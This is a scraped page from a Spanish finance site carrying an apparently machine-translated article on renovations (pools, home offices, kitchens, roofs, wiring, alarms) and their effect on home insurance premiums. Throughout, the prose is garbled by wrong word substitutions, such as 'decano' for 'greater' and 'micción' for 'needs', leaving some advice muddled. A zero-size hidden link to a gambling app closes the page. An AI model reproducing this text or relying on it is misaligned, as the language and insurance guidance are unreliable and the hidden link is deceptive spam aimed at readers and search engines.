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<style scoped>.tdi_19{vertical-align:baseline}.tdi_19>.wpb_wrapper,.tdi_19>.wpb_wrapper>.tdc-elements{display:block}.tdi_19>.wpb_wrapper>.tdc-elements{width:100%}.tdi_19>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_19>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_19>.wpb_wrapper,.tdi_19>.wpb_wrapper>.tdc-elements{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_19>.wpb_wrapper>.tdc-elements{width:100%}.tdi_19>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_19>.wpb_wrapper{width:100%;height:100%}}@media (max-width:767px){.tdi_19{width:10%!important;text-align:left!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_mobile_menu tdi_20 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_20" >
<style>@media (max-width:767px){.tdi_20{margin-left:-20px!important}}</style>
<style>.tdi_20{display:inline-block}.tdi_20 .tdb-mobile-menu-button i{font-size:27px;width:54px;height:54px;line-height:54px}.tdi_20 .tdb-mobile-menu-button svg{width:27px}.tdi_20 .tdb-mobile-menu-button .tdb-mobile-menu-icon-svg{width:54px;height:54px}.tdi_20 .tdb-mobile-menu-button{color:#ffffff}.tdi_20 .tdb-mobile-menu-button svg,.tdi_20 .tdb-mobile-menu-button svg *{fill:#ffffff}.tdi_20 .tdb-mobile-menu-button:hover{color:#ededed}.tdi_20 .tdb-mobile-menu-button:hover svg,.tdi_20 .tdb-mobile-menu-button:hover svg *{fill:#ededed}@media (max-width:767px){.tdi_20 .tdb-mobile-menu-button i{font-size:25px;width:50px;height:50px;line-height:50px}.tdi_20 .tdb-mobile-menu-button svg{width:25px}.tdi_20 .tdb-mobile-menu-button .tdb-mobile-menu-icon-svg{width:50px;height:50px}}</style><div class="tdb-block-inner td-fix-index"><span class="tdb-mobile-menu-button"><i class="tdb-mobile-menu-icon td-icon-mobile"></i></span></div></div> <!-- ./block --></div></div><div class="vc_column tdi_22  wpb_column vc_column_container tdc-column td-pb-span6">
<style scoped>.tdi_22{vertical-align:baseline}.tdi_22>.wpb_wrapper,.tdi_22>.wpb_wrapper>.tdc-elements{display:block}.tdi_22>.wpb_wrapper>.tdc-elements{width:100%}.tdi_22>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_22>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_22{width:80%!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_logo tdi_23 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_23" >
<style>.tdi_23 .tdb-logo-a,.tdi_23 h1{flex-direction:row;align-items:center;justify-content:center}.tdi_23 .tdb-logo-svg-wrap{display:block}.tdi_23 .tdb-logo-svg-wrap+.tdb-logo-img-wrap{display:none}.tdi_23 .tdb-logo-img-wrap{display:block}.tdi_23 .tdb-logo-text-tagline{margin-top:2px;margin-left:0;display:block}.tdi_23 .tdb-logo-text-title{display:block;color:#ffffff;font-size:40px!important;letter-spacing:-2px!important;}.tdi_23 .tdb-logo-text-wrap{flex-direction:column;align-items:flex-start}.tdi_23 .tdb-logo-icon{top:0px;display:block}.tdi_23 .tdb-logo-a:hover .tdb-logo-text-title{color:#eaeaea;background:none;-webkit-text-fill-color:initial;background-position:center center}@media (min-width:1019px) and (max-width:1140px){.tdi_23 .tdb-logo-text-title{font-size:33px!important;}}@media (min-width:768px) and (max-width:1018px){.tdi_23 .tdb-logo-text-title{font-size:28px!important;letter-spacing:-3px!important;}}@media (max-width:767px){.tdi_23 .tdb-logo-text-title{font-size:28px!important;}}</style><div class="tdb-block-inner td-fix-index"><a class="tdb-logo-a" href="https://financesnewsonline.com/"><span class="tdb-logo-text-wrap"><span class="tdb-logo-text-title">𝐅𝐢𝐧𝐚𝐧𝐜𝐞𝐬 𝐍𝐞𝐰𝐬 𝐎𝐧𝐥𝐢𝐧𝐞</span></span></a></div></div> <!-- ./block --></div></div><div class="vc_column tdi_25  wpb_column vc_column_container tdc-column td-pb-span3">
<style scoped>.tdi_25{vertical-align:baseline}.tdi_25>.wpb_wrapper,.tdi_25>.wpb_wrapper>.tdc-elements{display:block}.tdi_25>.wpb_wrapper>.tdc-elements{width:100%}.tdi_25>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_25>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_25{width:10%!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_mobile_search tdi_26 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_26" >
<style>.tdi_26{display:inline-block}.tdi_26 .tdb-header-search-button-mob i{font-size:22px;width:55px;height:55px;line-height:55px}.tdi_26 .tdb-header-search-button-mob svg{width:22px}.tdi_26 .tdb-header-search-button-mob .tdb-mobile-search-icon-svg{width:55px;height:55px;display:flex;justify-content:center}.tdi_26 .tdb-header-search-button-mob{color:#ffffff}.tdi_26 .tdb-header-search-button-mob svg,.tdi_26 .tdb-header-search-button-mob svg *{fill:#ffffff}.tdi_26 .tdb-header-search-button-mob:hover{color:#f2f2f2}@media (max-width:767px){.tdi_26 .tdb-header-search-button-mob i{font-size:20px;width:50px;height:50px;line-height:50px}.tdi_26 .tdb-header-search-button-mob svg{width:20px}.tdi_26 .tdb-header-search-button-mob .tdb-mobile-search-icon-svg{width:50px;height:50px;display:flex;justify-content:center}}</style><div class="tdb-block-inner td-fix-index"><span class="tdb-header-search-button-mob dropdown-toggle" data-toggle="dropdown"><i class="tdb-mobile-search-icon td-icon-search"></i></span></div></div> <!-- ./block --></div></div></div></div></div></div>                    </div>

                
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<style scoped>.tdi_28{min-height:0}.td-header-desktop-wrap{position:relative}</style><div id="tdi_29" class="tdc-row stretch_row_1200 td-stretch-content"><div class="vc_row tdi_30  wpb_row td-pb-row tdc-element-style" >
<style scoped>.tdi_30,.tdi_30 .tdc-columns{min-height:0}.tdi_30,.tdi_30 .tdc-columns{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_30 .tdc-columns{width:100%}.tdi_30:before,.tdi_30:after{display:none}.tdi_30{padding-top:5px!important;padding-bottom:5px!important;position:relative}.tdi_30 .td_block_wrap{text-align:left}</style>
<div class="tdi_29_rand_style td-element-style" ><style>.tdi_29_rand_style{background-color:#005689!important}</style></div><div class="vc_column tdi_32  wpb_column vc_column_container tdc-column tdc-restr-display-none td-pb-span3">
<style scoped>.tdi_32{vertical-align:baseline}.tdi_32>.wpb_wrapper,.tdi_32>.wpb_wrapper>.tdc-elements{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_32>.wpb_wrapper>.tdc-elements{width:100%}.tdi_32>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_32>.wpb_wrapper{width:100%;height:100%}.tdi_32{width:30%!important}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_date tdi_33 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_33" >
<style>.tdb_header_date{margin-bottom:0;clear:none}.tdb_header_date .tdb-block-inner{display:flex;align-items:baseline}.tdb_header_date .tdb-head-date-txt{font-family:var(--td_default_google_font_1,'Open Sans','Open Sans Regular',sans-serif);font-size:11px;line-height:1;color:#000}.tdi_33{display:inline-block}.tdi_33 .tdb-head-date-txt{color:#ffffff;font-size:15px!important;font-weight:600!important}@media (min-width:1019px) and (max-width:1140px){.tdi_33 .tdb-head-date-txt{font-size:14px!important}}@media (min-width:768px) and (max-width:1018px){.tdi_33 .tdb-head-date-txt{font-size:11px!important}}</style><div class="tdb-block-inner td-fix-index"><div class="tdb-head-date-txt">Wednesday, September 16, 2026</div></div></div> <!-- ./block --></div></div><div class="vc_column tdi_35  wpb_column vc_column_container tdc-column tdc-restr-display-none td-pb-span3">
<style scoped>.tdi_35{vertical-align:baseline}.tdi_35>.wpb_wrapper,.tdi_35>.wpb_wrapper>.tdc-elements{display:block}.tdi_35>.wpb_wrapper>.tdc-elements{width:100%}.tdi_35>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_35>.wpb_wrapper{width:auto;height:auto}.tdi_35{width:40%!important}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_logo tdi_36 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_36" >
<style>.tdi_36 .tdb-logo-a,.tdi_36 h1{flex-direction:row;align-items:center;justify-content:center}.tdi_36 .tdb-logo-svg-wrap{display:block}.tdi_36 .tdb-logo-svg-wrap+.tdb-logo-img-wrap{display:none}.tdi_36 .tdb-logo-img-wrap{display:block}.tdi_36 .tdb-logo-text-tagline{margin-top:2px;margin-left:0;display:block}.tdi_36 .tdb-logo-text-title{display:block;color:#ffffff;font-size:43px!important;letter-spacing:-2px!important;}.tdi_36 .tdb-logo-text-wrap{flex-direction:column;align-items:flex-start}.tdi_36 .tdb-logo-icon{top:0px;display:block}.tdi_36 .tdb-logo-a:hover .tdb-logo-text-title{color:#eaeaea;background:none;-webkit-text-fill-color:initial;background-position:center center}@media (min-width:768px) and (max-width:1018px){.tdi_36 .tdb-logo-text-title{font-size:30px!important;}}</style><div class="tdb-block-inner td-fix-index"><a class="tdb-logo-a" href="https://financesnewsonline.com/"><span class="tdb-logo-text-wrap"><span class="tdb-logo-text-title">𝐅𝐢𝐧𝐚𝐧𝐜𝐞𝐬 𝐍𝐞𝐰𝐬 𝐎𝐧𝐥𝐢𝐧𝐞</span></span></a></div></div> <!-- ./block --></div></div><div class="vc_column tdi_38  wpb_column vc_column_container tdc-column td-pb-span6">
<style scoped>.tdi_38{vertical-align:baseline}.tdi_38>.wpb_wrapper,.tdi_38>.wpb_wrapper>.tdc-elements{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-end;align-items:flex-end}.tdi_38>.wpb_wrapper>.tdc-elements{width:100%}.tdi_38>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_38>.wpb_wrapper{width:100%;height:100%}.tdi_38{width:30%!important}@media(min-width:1141px){.tdi_38{display:inline-block!important}}</style><div class="wpb_wrapper" ><div class="tdm_block td_block_wrap tdm_block_socials tdi_39 tdm-content-horiz-left td-pb-border-top td_block_template_1"  data-td-block-uid="tdi_39" >
<style>.tdi_39{margin-right:10px!important;margin-bottom:10px!important;padding-top:-!important}</style>
<style>.tdm_block.tdm_block_socials{margin-bottom:0}.tdm-social-wrapper{*zoom:1}.tdm-social-wrapper:before,.tdm-social-wrapper:after{display:table;content:'';line-height:0}.tdm-social-wrapper:after{clear:both}.tdm-social-item-wrap{display:inline-block}.tdm-social-item{position:relative;display:inline-block;vertical-align:middle;-webkit-transition:all 0.2s;transition:all 0.2s;text-align:center;-webkit-transform:translateZ(0);transform:translateZ(0)}.tdm-social-item i{font-size:14px;color:var(--td_theme_color,#4db2ec);-webkit-transition:all 0.2s;transition:all 0.2s}.tdm-social-text{display:none;margin-top:-1px;vertical-align:middle;font-size:13px;color:var(--td_theme_color,#4db2ec);-webkit-transition:all 0.2s;transition:all 0.2s}.tdm-social-item-wrap:hover i,.tdm-social-item-wrap:hover .tdm-social-text{color:#000}.tdm-social-item-wrap:last-child .tdm-social-text{margin-right:0!important}</style>
<style>.tdi_40 .tdm-social-item i{font-size:13px;vertical-align:middle;line-height:19.5px}.tdi_40 .tdm-social-item i.td-icon-linkedin,.tdi_40 .tdm-social-item i.td-icon-pinterest,.tdi_40 .tdm-social-item i.td-icon-blogger,.tdi_40 .tdm-social-item i.td-icon-vimeo{font-size:10.4px}.tdi_40 .tdm-social-item{width:19.5px;height:19.5px;margin:5px 10px 5px 0}.tdi_40 .tdm-social-item-wrap:last-child .tdm-social-item{margin-right:0!important}.tdi_40 .tdm-social-item i,.tds-team-member2 .tdi_40.tds-social1 .tdm-social-item i{color:#ffffff}.tdi_40 .tdm-social-item-wrap:hover i,.tds-team-member2 .tdi_40.tds-social1 .tdm-social-item:hover i{color:#4db2ec}.tdi_40 .tdm-social-text{display:none;margin-left:2px;margin-right:18px;color:#ffffff;font-family:Merriweather Sans!important;font-size:12px!important}.tdi_40 .tdm-social-item-wrap:hover .tdm-social-text{color:#4db2ec}@media (min-width:768px) and (max-width:1018px){.tdi_40 .tdm-social-item i{font-size:11px;vertical-align:middle;line-height:16.5px}.tdi_40 .tdm-social-item i.td-icon-linkedin,.tdi_40 .tdm-social-item i.td-icon-pinterest,.tdi_40 .tdm-social-item i.td-icon-blogger,.tdi_40 .tdm-social-item i.td-icon-vimeo{font-size:8.8px}.tdi_40 .tdm-social-item{width:16.5px;height:16.5px}.tdi_40 .tdm-social-text{font-size:11px!important}}</style><div class="tdm-social-wrapper tds-social1 tdi_40"><div class="tdm-social-item-wrap"><a href="#"  title="Facebook" class="tdm-social-item"><i class="td-icon-font td-icon-facebook"></i><span style="display: none">Facebook</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Instagram" class="tdm-social-item"><i class="td-icon-font td-icon-instagram"></i><span style="display: none">Instagram</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Linkedin" class="tdm-social-item"><i class="td-icon-font td-icon-linkedin"></i><span style="display: none">Linkedin</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Twitter" class="tdm-social-item"><i class="td-icon-font td-icon-twitter"></i><span style="display: none">Twitter</span></a></div></div></div><div class="td_block_wrap tdb_header_search tdi_41 tdb-header-search-trigger-enabled td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_41" >
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aria-label="Buscar"><span>Buscar</span></button></div></form><div class="tdb-aj-search"></div></div></div><a href="#" role="button" aria-label="Buscar" class="tdb-head-search-btn dropdown-toggle" data-toggle="dropdown"><i class="tdb-search-icon td-icon-search"></i></a></div></div> <!-- ./block --></div></div></div></div><div id="tdi_42" class="tdc-row stretch_row_1400 td-stretch-content"><div class="vc_row tdi_43  wpb_row td-pb-row tdc-element-style" >
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<p>Una de las ventajas de la propiedad de vivienda es que puede hacer su espacio suyo. Sin inminente propietario, puede nacer las encimeras existentes o pintar las paredes de rojo. Sin retención, algunas renovaciones tienen implicaciones para las primas de su seguro de hogar. Ayer de instalar una piscina o renovar la habitación, es posible que desee considerar si su tarifa de seguro aumentará o bajará como resultado. El equipo editorial de seguros de Bankrate ha identificado siete proyectos populares de renovación en el hogar que pueden influir en el costo del seguro de hogar.</p>
<h2 id="renovations-that-increase-home-insurance-rates"><strong>Renovaciones que aumentan las tasas de seguro de hogar</strong></h2>
<p>La renovación de una casa puede aumentar el valía de su hogar, pero igualmente puede aumentar el costo de su seguro de hogar. Por otra parte de los gastos de la renovación, puede ver primas más altas si su renovación lo empuja a aumentar sus límites de cobertura o lo expone a una decano responsabilidad.</p>
<h3><strong>1. Construyendo una piscina</strong></h3>
<p>En ciertos lugares, adicionar una piscina a su hogar puede aumentar su valía y ofrecer un incentivo a los posibles compradores. Sin retención, una piscina se considera una &#8220;molestia atractiva&#8221; (especialmente si tiene una tabla de sumersión o diapositiva) y aumenta significativamente su peligro de responsabilidad, lo que probablemente aumentará la prima de seguro de los propietarios de viviendas. Por otra parte, su proveedor de seguros puede requerir que tenga decano cobertura de responsabilidad civil o le insta a comprar una póliza de seguro paraguas. El proveedor de seguros puede requerir que instale una cerca de separación rodeando de la piscina o incluso pueda atreverse no proporcionar cobertura.</p>
<h3><strong>2. Pegar una oficina para un negocio en casa</strong></h3>
<p>Trabajar de forma remota se ha vuelto más popular, por lo que adicionar una oficina podría aumentar el valía de su hogar si usted es un trabajador remoto o propietario de negocios en el hogar. Sin retención, igualmente podría aumentar las tasas de seguro de sus propietarios de viviendas o requerir que compre un endoso para aumentar la cobertura de los activos y equipos relacionados con el negocio, o una política comercial de vivienda separada que brinde responsabilidad y protección contra el delito y las lesiones de los trabajadores.</p>
<p>Es posible que deba reanimar su política existente o comprar una política comercial adicional. Es posible que tenga algunas opciones, dependiendo de su proveedor de seguros:</p>
<ul>
<li>
<strong>Endoso a su política de propietarios de viviendas existentes:</strong> Esta opción aumentaría el divisoria existente en la propiedad comercial incluida en su política de propietarios.</li>
<li>
<strong>Política de negocios de negocios:</strong> Esta es una política separada diseñada específicamente para afianzar un negocio, e incluye una variedad de coberturas. Su aseguradora puede requerir esto si la empresa tiene una omisión de seguro de hogar para el uso comercial de acervo personales.</li>
<li>
<strong>Seguro comercial en el hogar:</strong> Este tipo de seguro presenta la misma protección que obtendría si fuera una empresa más prócer con límites de póliza y primas más pequeñas.</li>
</ul>
<p>Independientemente del envergadura de su negocio, debe informar a su agente si tiene algún peligro comercial en su hogar, para comprobar de estar cubierto correctamente.</p>
<div style="clear:both; margin-top:0em; margin-bottom:1em;"><a href="https://financesnewsonline.com/leyes-de-seguro-de-automovil-de-virginia-bankrat" target="_self" rel="dofollow" class="u022dc0cfe47798afd99cb6df91af1d9d"><!-- INLINE RELATED POSTS 1/3 //--><style> .u022dc0cfe47798afd99cb6df91af1d9d { padding:0px; margin: 0; padding-top:1em!important; padding-bottom:1em!important; width:100%; display: block; font-weight:bold; background-color:#eaeaea; border:0!important; border-left:4px solid #34495E!important; text-decoration:none; } .u022dc0cfe47798afd99cb6df91af1d9d:active, .u022dc0cfe47798afd99cb6df91af1d9d:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; text-decoration:none; } .u022dc0cfe47798afd99cb6df91af1d9d { transition: background-color 250ms; webkit-transition: background-color 250ms; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; } .u022dc0cfe47798afd99cb6df91af1d9d .ctaText { font-weight:bold; color:#464646; text-decoration:none; font-size: 16px; } .u022dc0cfe47798afd99cb6df91af1d9d .postTitle { color:#000000; text-decoration: underline!important; font-size: 16px; } .u022dc0cfe47798afd99cb6df91af1d9d:hover .postTitle { text-decoration: underline!important; } </style><div style="padding-left:1em; padding-right:1em;"><span class="ctaText">See also</span>&nbsp; <span class="postTitle">Leyes de seguro de automóvil de Virginia | Bankrat</span></div></a></div><h3><strong>3. Construir en una extensión</strong></h3>
<p>A veces, se debe cambiar una casa para acomodar a una tribu en expansión. Eso puede significar modificar un plano de planta y adicionar más pies cuadrados habitables. Ampliar su espacio con nuevos pies cuadrados probablemente aumentará la prima de su seguro de hogar, ya que necesitará más cobertura de vivienda.</p>
<p>Ayer de comenzar a renovaciones, es posible que desee conversar con su agente de seguros para discutir alteraciones en su póliza. Por ejemplo, si está terminando un sótano con tapiz nueva, paneles de yeso y aislamiento, su agente podría encomendar comprar cobertura de respaldo de alcantarillado. Una vez que se completen las renovaciones, probablemente necesitará una reevaluación de seguro para avalar que su hogar tenga la cobertura que necesita.</p>
<h3><strong>4. Aggiornamento de su cocina o baño</strong></h3>
<p>La remodelación de su baño o cocina incluso modestamente puede dar más del 70 por ciento o 95 por ciento en valía recuperado, respectivamente, de acuerdo con el crónica de costo vs. valía de 2024 por la revista Remodeling. Con estas renovaciones, puede terminar pagando más por la cobertura de vivienda, ya que los materiales mejorados valen más y costarían más reemplazar. Ayer de iniciar sesión en la remodelación, su agente de seguros debería poder ejecutar los números para determinar si necesita ajustar su póliza.</p>
<h2 id="renovations-that-lower-home-insurance-rates" data-beam-element-viewed="" data-id="br-h2-second-onpage-placement" data-type="h2" data-location="Insurance, Homeowners Insurance" data-position="h2_second_placement" data-name="h2_second_placement" data-text="7 renovations that can impact your home insurance" data-outcome=""><strong>Renovaciones que reducen las tarifas de seguro de vivienda</strong></h2>
<p>Hay una serie de mejoras proactivas para el hogar que pueden conducir a menores costos de seguro. Los cambios relacionados con la seguridad como las actualizaciones de plomería o las soluciones de techo podrían hacer que el seguro de hogar sea más asequible. </p>
<h3><strong>1. Renovar o reemplazar su techo</strong></h3>
<p>Instalar un nuevo techo puede no ser las mejoras para el hogar más emocionantes, pero puede ahorrarle caudal en el seguro de sus propietarios de viviendas. Reemplazar su techo con material más nuevo o más musculoso generalmente significa una reducción en la prima porque su hogar puede ser capaz de resistir mejor los peligros potenciales cubiertos.</p>
<p>Algunos propietarios pueden obtener descuentos aún mayores si viven en estados propensos a huracanes, eólicos o de pedrisco y su nuevo techo emplea medidas especiales de mitigación de pérdidas, como correas de huracanes, impermeabilización o tejas resistentes al impacto.</p>
<p>Si perfectamente la mayoría de las políticas de vivienda cubren los reemplazos del techo para los peligros definidos en su política, algunas aseguradoras usan horarios de depreciación basados ​​en la etapa del techo para determinar cuánta cobertura obtiene. Cuanto más nuevo sea el techo, más cobertura tendrá de su póliza de seguro de hogar.</p>
<h3><strong>2. Aggiornamento de su cableado o plomería</strong></h3>
<p>Si actualiza sus sistemas de cableado o plomería, especialmente si son mayores o ya no están a la cúspide de los códigos de construcción actuales, puede adscribir para un descuento de seguro. Si perfectamente retornar a cablear una casa puede ser costoso, igualmente podría achicar el peligro de incendios y daños eléctricos, lo que significa que las compañías de seguros podrían cobrarle menos por cobertura correcto a un peligro corto. Si tiene cableado de perillas y tubo (utilizados en la mayoría de las casas construidas antiguamente de 1950), por ejemplo, puede ver una reducción drástica en su prima, e incluso puede encontrar que más compañías de seguros están dispuestas a afianzar su casa, lo que significa que este podría ser un buen momento para comprar su cobertura y comparar las cotizaciones de seguros de viviendas.</p>
<div style="clear:both; margin-top:0em; margin-bottom:1em;"><a href="https://financesnewsonline.com/como-un-boleto-de-exceso-de-velocidad-afecta-a-su-seguro-en-minnesota" target="_self" rel="dofollow" class="ueb944c796d79c3a0662b5fde356dd56d"><!-- INLINE RELATED POSTS 2/3 //--><style> .ueb944c796d79c3a0662b5fde356dd56d { padding:0px; margin: 0; padding-top:1em!important; padding-bottom:1em!important; width:100%; display: block; font-weight:bold; background-color:#eaeaea; border:0!important; border-left:4px solid #34495E!important; text-decoration:none; } .ueb944c796d79c3a0662b5fde356dd56d:active, .ueb944c796d79c3a0662b5fde356dd56d:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; text-decoration:none; } .ueb944c796d79c3a0662b5fde356dd56d { transition: background-color 250ms; webkit-transition: background-color 250ms; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; } .ueb944c796d79c3a0662b5fde356dd56d .ctaText { font-weight:bold; color:#464646; text-decoration:none; font-size: 16px; } .ueb944c796d79c3a0662b5fde356dd56d .postTitle { color:#000000; text-decoration: underline!important; font-size: 16px; } .ueb944c796d79c3a0662b5fde356dd56d:hover .postTitle { text-decoration: underline!important; } </style><div style="padding-left:1em; padding-right:1em;"><span class="ctaText">See also</span>&nbsp; <span class="postTitle">Cómo un boleto de exceso de velocidad afecta a su seguro en Minnesota</span></div></a></div><p>Lo mismo es cierto para la fontanería. Algunos tipos de plomería, como el plomo y el polibutileno, pueden hacer que sea difícil y costoso encontrar cobertura de seguro de hogar. La puesta al día al hardware de plomería más flamante puede achicar el peligro de daños por agua y achicar la prima de su seguro de hogar.</p>
<h3><strong>3. Pegar sistemas de seguridad y rociadores</strong></h3>
<p>Los descuentos en seguridad del hogar son relativamente comunes en la industria de seguros, y generalmente hay alguna variación en los niveles de reducción. Por ejemplo, si instala un sistema de rebato recinto que suena en su hogar en caso de un intruso, puede obtener un pequeño descuento. Un sistema de rebato que alerta automáticamente a la policía o a un equipo de despacho central para múltiples incidentes como robo y incendio probablemente ganaría un descuento más detención. Los sistemas de rociadores interiores igualmente pueden achicar sus primas, ya que reducen el peligro de daños extensos en el fuego. La instalación de dispositivos y sistemas de Smart Home igualmente puede obtener un descuento en el seguro de sus propietarios de viviendas.</p>
<h2 id="do-i-need-to-increase-my-homeowners-insurance-after-renovating"><strong>¿Necesito aumentar el seguro de mis propietarios posteriormente de renovar?</strong></h2>
<p>Es posible que desee aumentar su seguro de hogar mientras se renova o posteriormente de que su esquema esté completo, dependiendo de su cobertura flagrante y el tipo de renovación. Las compañías de seguros utilizan herramientas de valoración para determinar cuánta cobertura de seguro de hogar necesita en función de la estructura flagrante de su hogar. Si las renovaciones aumentan esa valoración, es posible que desee considerar aumentar su cobertura igualmente. Sin una decano cobertura, en caso de que ocurra un evento desastroso, las mejoras que haya realizado puede no estar cubierta.</p>
<p>Otra cosa a considerar es cuando se realizan mejoras significativas fuera de su hogar, como adicionar un cobertizo o piscina de suscripción tono. Es posible que no estén cubiertos a menos que su cobertura de &#8220;otras estructuras&#8221; en su política de propietarios sea suficiente. Asegúrese de informarle a su compañía de seguros cuándo ha realizado algún tipo de trabajo en su hogar para que pueda realizar una valoración posterior a la renovación para determinar con precisión sus nuevas micción de cobertura.</p>
<h3>¿Qué necesita retener su compañía de seguros posteriormente de una renovación?</h3>
<p>La mayoría de los agentes de seguros están ansiosos por trabajar con usted y ajustar su póliza para que su hogar tenga la cobertura necesaria. Si no informa a la empresa sobre las renovaciones y presenta un aliciente más tarde, es posible que se le niegue porque no estaba cubierto.</p>
<div style="clear:both; margin-top:0em; margin-bottom:1em;"><a href="https://financesnewsonline.com/mejores-seguros-de-inquilinos-en-georgia" target="_self" rel="dofollow" class="u8db5abf3b23c5e9a9612afdc459725e3"><!-- INLINE RELATED POSTS 3/3 //--><style> .u8db5abf3b23c5e9a9612afdc459725e3 { padding:0px; margin: 0; padding-top:1em!important; padding-bottom:1em!important; width:100%; display: block; font-weight:bold; background-color:#eaeaea; border:0!important; border-left:4px solid #34495E!important; text-decoration:none; } .u8db5abf3b23c5e9a9612afdc459725e3:active, .u8db5abf3b23c5e9a9612afdc459725e3:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; text-decoration:none; } .u8db5abf3b23c5e9a9612afdc459725e3 { transition: background-color 250ms; webkit-transition: background-color 250ms; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; } .u8db5abf3b23c5e9a9612afdc459725e3 .ctaText { font-weight:bold; color:#464646; text-decoration:none; font-size: 16px; } .u8db5abf3b23c5e9a9612afdc459725e3 .postTitle { color:#000000; text-decoration: underline!important; font-size: 16px; } .u8db5abf3b23c5e9a9612afdc459725e3:hover .postTitle { text-decoration: underline!important; } </style><div style="padding-left:1em; padding-right:1em;"><span class="ctaText">See also</span>&nbsp; <span class="postTitle">Mejores seguros de inquilinos en Georgia</span></div></a></div><p>Probablemente sea más manejable conversar con un agente en persona o por teléfono. Por otra parte de contarles sobre el esquema, igualmente tendrá que dar estimaciones de costos y una itinerario de tiempo. Si necesita obtener permisos de construcción, su aseguradora puede querer copias de ellos, adjunto con cualquier contratista. Probablemente tendrá que proporcionar una itinerario de tiempo de cuándo se realiza el trabajo y cuándo se dilación que esté completo, especialmente si su póliza se ajustará. Finalmente, algunas aseguradoras pueden solicitar fotos para documentar la renovación. </p>
<h2 id="additional-home-renovation-insurance-options"><strong>Opciones adicionales de seguro de renovación del hogar</strong></h2>
<p>Al completar una renovación de un hogar, es posible que desee revisar si se necesita adicionar cobertura adicional durante el proceso de renovación en sí. Si perfectamente su póliza de seguro de hogar flagrante puede tener una cobertura suficiente, es posible que deba hacer algunos cambios mientras está en construcción:</p>
<ul>
<li>
<strong>Seguro de peligro de constructores:</strong> Esta cobertura protege financieramente los materiales que ha comprado para instalarse, ya sea en su propiedad o en camino a su propiedad. Si los materiales están dañados o robados, el seguro de peligro de constructores debe cubrir los costos de reemplazo.</li>
<li>
<strong>Seguro de hogar vacante:</strong> La mayoría de las pólizas de seguro de hogar estereotipado no cubren casas deshabitadas. Si necesita morar fuera de su hogar mientras se realizan renovaciones, es posible que desee considerar el seguro de vivienda vacante. Este seguro de mejoras para el hogar a menudo se pasa por detención protege financieramente su hogar en caso de que ocurra algún daño mientras no vive activamente en él. Es posible que desee conversar con su agente de seguros sobre cómo modificar su cobertura mientras se completan las renovaciones.</li>
<li>
<strong>Seguro de contratistas:</strong> Esta puede ser una cobertura importante si está contratando a un tercero para hacer una renovación. El seguro de los contratistas proporciona cobertura por daños a la propiedad, lesiones o daños causados ​​por los contratistas que trabajan en su hogar. Triple-I recomienda preguntarle a su contratista si está asegurado y obtener una copia de su seguro de certificado de responsabilidad civil antiguamente de firmar un acuerdo para avalar que tengan un nivel adecuado de cobertura de responsabilidad caudillo comercial (GCL). Una política de GCL típica incluye $ 1 millón por ocurrencia y un divisoria apéndice de $ 2 millones.</li>
</ul>
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<div><a href="https://play.google.com/store/apps/details?id=com.pragmaticplay.breakerbonzagame&#038;hl=id" style="overflow: hidden;height: 0;width: 0;display: inline-block;">pragmatic play</a></div></body>
